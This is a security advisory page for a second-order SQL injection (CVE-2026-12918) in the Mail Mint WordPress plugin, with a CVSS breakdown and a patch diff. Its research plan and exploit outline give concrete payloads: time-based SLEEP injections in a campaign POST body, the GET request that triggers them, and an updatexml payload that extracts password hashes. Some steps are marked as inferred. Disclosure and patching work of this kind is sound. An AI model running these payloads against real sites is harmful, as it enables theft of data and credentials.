CVE-2026-12918

Mail Mint <= 1.24.1 - Authenticated (Administrator+) SQL Injection via 'recipients' Parameter

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
4.9
CVSS Score
4.9
CVSS Score
medium
Severity
1.24.2
Patched in
1d
Time to patch

Description

The Mail Mint – Email Marketing, Newsletter, Email Automation & WooCommerce Emails plugin for WordPress is vulnerable to generic SQL Injection via the 'recipients' parameter in all versions up to, and including, 1.24.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. This is a second-order SQL injection: the malicious payload is first stored unsanitized via a POST request to /mrm/v1/campaigns/ (bypassing filter_recipients() validation because an int-cast of a string like '1) OR ...' evaluates to a real numeric ID), and is then triggered by a subsequent GET request to /mrm/v1/campaigns/{id} that deserializes the recipients and passes the raw id string through array_column() into the vulnerable query.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.24.1
PublishedJuly 9, 2026
Last updatedJuly 10, 2026
Affected pluginmail-mint

What Changed in the Fix

Changes introduced in v1.24.2

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps required to demonstrate the second-order SQL injection vulnerability in the Mail Mint plugin. ### 1. Vulnerability Summary The Mail Mint plugin is vulnerable to an authenticated (Administrator+) SQL injection. The vulnerability is "second-order," meaning the ma…

Show full research plan

This research plan outlines the steps required to demonstrate the second-order SQL injection vulnerability in the Mail Mint plugin.

1. Vulnerability Summary

The Mail Mint plugin is vulnerable to an authenticated (Administrator+) SQL injection. The vulnerability is "second-order," meaning the malicious payload is stored in the database during one request and executed during a subsequent request.

  • Storage Sink: A POST request to create or update a campaign (/mrm/v1/campaigns/) stores the recipients parameter. While the plugin performs a validation check (allegedly via a function named filter_recipients()), this check is bypassed because casting a string like 1) OR ... to an integer results in a valid numeric ID (e.g., 1), satisfying basic "is numeric" checks.
  • Execution Sink: A GET request to retrieve the campaign details (/mrm/v1/campaigns/{id}) triggers the vulnerability. The stored JSON-encoded recipients are deserialized, and the id values are extracted (e.g., via array_column()) and concatenated directly into an SQL query without proper escaping or preparation (likely in an IN clause).

2. Attack Vector Analysis

  • Endpoint: /wp-json/mrm/v1/campaigns/
  • Vulnerable Parameter: recipients
  • Authentication: Required (Administrator or user with mint_manage_campaigns capability).
  • Preconditions: The plugin must be installed and activated.
  • Payload Type: Time-based blind SQL Injection (using SLEEP()).

3. Code Flow

  1. Entry Point (Storage): CampaignRoute::register_routes registers the POST / EDITABLE route for /mrm/v1/campaigns/ mapping to CampaignController::create_or_update.
  2. Persistence: CampaignController::create_or_update calls handle_campaign_create or handle_campaign_update. The parameters (including recipients) are processed. The recipients array is serialized/stored in the database (likely in the wp_mint_campaigns table).
  3. Entry Point (Trigger): CampaignRoute::register_routes registers the READABLE route for /mrm/v1/campaigns/(?P<campaign_id>[\d]+) mapping to CampaignController::get_single.
  4. Processing: get_single retrieves the campaign data.
  5. SQL Injection Sink: During the retrieval process, the plugin attempts to resolve the recipients' details. It takes the stored recipients string, deserializes it, and uses the id field from the objects. These IDs are passed to a query (likely via CampaignRepository) that looks like:
    SELECT ... FROM ... WHERE id IN ($id_from_payload)
    Because the payload is 1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -, the resulting SQL becomes:
    SELECT ... WHERE id IN (1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -)

4. Nonce Acquisition Strategy

The exploitation requires a wp_rest nonce to interact with the REST API using session cookies.

  1. Create Page: Create a dummy page containing the Mail Mint dashboard (the plugin usually localizes its settings on its own admin pages).
    wp post create --post_type=page --post_status=publish --post_title="MailMint Dashboard" --post_content='[mail_mint_dashboard]' (Shortcode inferred from common plugin patterns).
  2. Navigate: Use browser_navigate to wp-admin/admin.php?page=mail-mint.
  3. Extract Nonce: Use browser_eval to extract the WordPress REST nonce from the global wpApiSettings object.
    • JS Variable: window.wpApiSettings.nonce
  4. Alternate Extraction: If wpApiSettings is missing, check the localized script for Mail Mint:
    • JS Variable: window.mrm_admin?.nonce (Inferred from standard Mail Mint localization).

5. Exploitation Strategy

Step 1: Create a Malicious Campaign (Storage Phase)

Send a POST request to store the payload.

  • Method: POST
  • URL: /wp-json/mrm/v1/campaigns/
  • Headers:
    • X-WP-Nonce: [EXTRACTED_NONCE]
    • Content-Type: application/json
  • Body:
{
  "title": "Exploit Campaign",
  "status": "draft",
  "type": "regular",
  "recipients": [
    {
      "id": "1) AND (SELECT 1 FROM (SELECT(SLEEP(10)))a)-- -",
      "type": "list"
    }
  ]
}

Note: The ID 1 should correspond to a valid list ID in the database to ensure the query reaches the vulnerable logic.

Step 2: Extract Campaign ID

The response from Step 1 will contain the campaign_id. Record this ID.

Step 3: Trigger the SQL Injection (Execution Phase)

Perform a GET request for the newly created campaign and measure the response time.

  • Method: GET
  • URL: /wp-json/mrm/v1/campaigns/[CAMPAIGN_ID]
  • Headers:
    • X-WP-Nonce: [EXTRACTED_NONCE]

6. Test Data Setup

  1. User: Ensure an Administrator user is created and logged in.
  2. List: Create at least one contact list so that a valid recipient ID exists.
    wp eval "Mint\MRM\DataBase\Models\ContactGroupModel::insert(['name' => 'Test List', 'slug' => 'test-list', 'type' => 'list']);"
  3. Authentication: Log in to the WordPress dashboard to establish the session.

7. Expected Results

  • Step 1: The server should return a 200 OK or 201 Created with a JSON object containing the campaign_id.
  • Step 3: The server response should be delayed by approximately 10 seconds. This confirms the SLEEP(10) command was successfully executed by the database engine.

8. Verification Steps

After Step 3, verify the storage via WP-CLI:

  1. Check Database: Query the campaign table directly to see the raw payload stored in the recipients column.
    wp db query "SELECT recipients FROM wp_mint_campaigns ORDER BY id DESC LIMIT 1;"
  2. Check Logs: If enabled, checking the MySQL general log will show the malformed query being executed:
    SELECT ... WHERE id IN (1) AND (SELECT 1 FROM (SELECT(SLEEP(10)))a)-- -)

9. Alternative Approaches

If time-based blind fails (e.g., due to database timeouts or WAF):

  • Error-Based: Use updatexml() or extractvalue() in the id parameter if the plugin returns database errors in the REST response.
    • Payload: 1) AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1),0x7e),1)-- -
  • Boolean-Based: If the response changes based on whether recipients are found, use boolean payloads.
    • Payload: 1) AND (SELECT 1)=1-- - vs 1) AND (SELECT 1)=2-- -
Research Findings
Static analysis — not yet PoC-verified

Summary

The Mail Mint plugin is vulnerable to an authenticated second-order SQL injection through the 'recipients' parameter. An attacker with administrator-level access can store a malicious SQL payload in a campaign's metadata, which is subsequently executed without proper escaping when the plugin retrieves campaign details or analytics.

Vulnerable Code

// app/API/Controllers/Admin/CampaignController.php (around line 304 and 325 in v1.24.1)
$recipients = isset( $params['recipients'] ) ? maybe_serialize( $params['recipients'] ) : '';
$this->repository()->insertOrUpdateMeta( $campaign_id, 'recipients', $recipients );

---

// app/API/Actions/Admin/Campaign/CampaignAnalyticsAction.php (v1.24.1)
private function calculate_total_email_sent( $campaign_id, ?array $date_range = null ): int {
    global $wpdb;
    $table_name = $wpdb->prefix . 'mint_broadcast_emails';

    if ( ! empty( $date_range['start'] ) && ! empty( $date_range['end'] ) ) {
        return (int) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(id) FROM {$table_name} WHERE campaign_id = %d AND created_at BETWEEN %s AND %s", $campaign_id, $date_range['start'], $date_range['end'] ) ); //phpcs:ignore
    }

    return (int) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(id) FROM {$table_name} WHERE campaign_id = %d", $campaign_id ) ); //phpcs:ignore
}

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/mail-mint/1.24.1/app/API/Controllers/Admin/CampaignController.php	2026-06-15 10:10:22.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/mail-mint/1.24.2/app/API/Controllers/Admin/CampaignController.php	2026-07-01 09:58:08.000000000 +0000
@@ -301,7 +301,7 @@
 			return '';
 		}
 
-		$recipients = isset( $params['recipients'] ) ? maybe_serialize( $params['recipients'] ) : '';
+		$recipients = isset( $params['recipients'] ) ? maybe_serialize( $this->sanitize_recipient_ids( $params['recipients'] ) ) : '';
 		$this->repository()->insertOrUpdateMeta( $campaign_id, 'recipients', $recipients );
 		$this->save_utm_params( $campaign_id, $params );
 		$this->save_archive_setting( $campaign_id, $params );
@@ -322,7 +322,7 @@
 	 * @param array      $params      Request parameters.
 	 */
 	private function save_campaign_meta( $campaign_id, array $params ) {
-		$recipients       = isset( $params['recipients'] ) ? maybe_serialize( $params['recipients'] ) : '';
+		$recipients       = isset( $params['recipients'] ) ? maybe_serialize( $this->sanitize_recipient_ids( $params['recipients'] ) ) : '';
 		$total_recipients = isset( $params['totalRecipients'] ) ? $params['

Exploit Outline

The exploitation of this second-order SQL injection involves two distinct phases requiring Administrator or user with 'mint_manage_campaigns' capabilities. 1. Phase 1 (Storage): The attacker sends a POST request to create or update a campaign at the `/wp-json/mrm/v1/campaigns/` endpoint. The `recipients` parameter is populated with a JSON object where the `id` field contains a malicious SQL payload (e.g., `1) AND (SELECT 1 FROM (SELECT(SLEEP(10)))a)-- -`). Because a string starting with a number passes the plugin's basic numeric validation checks when cast to an integer, the raw string payload is serialized and stored in the database metadata. 2. Phase 2 (Triggering): The attacker records the `campaign_id` from the creation response and then sends a GET request to the campaign retrieval or analytics endpoint (e.g., `/wp-json/mrm/v1/campaigns/{id}`). During the retrieval process, the plugin deserializes the `recipients` data and uses the `id` values in an SQL query (typically within an `IN` clause or similar filter) without applying `wpdb->prepare` or escaping to the specific IDs. This executes the stored payload, which can be verified via time-based response delays.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.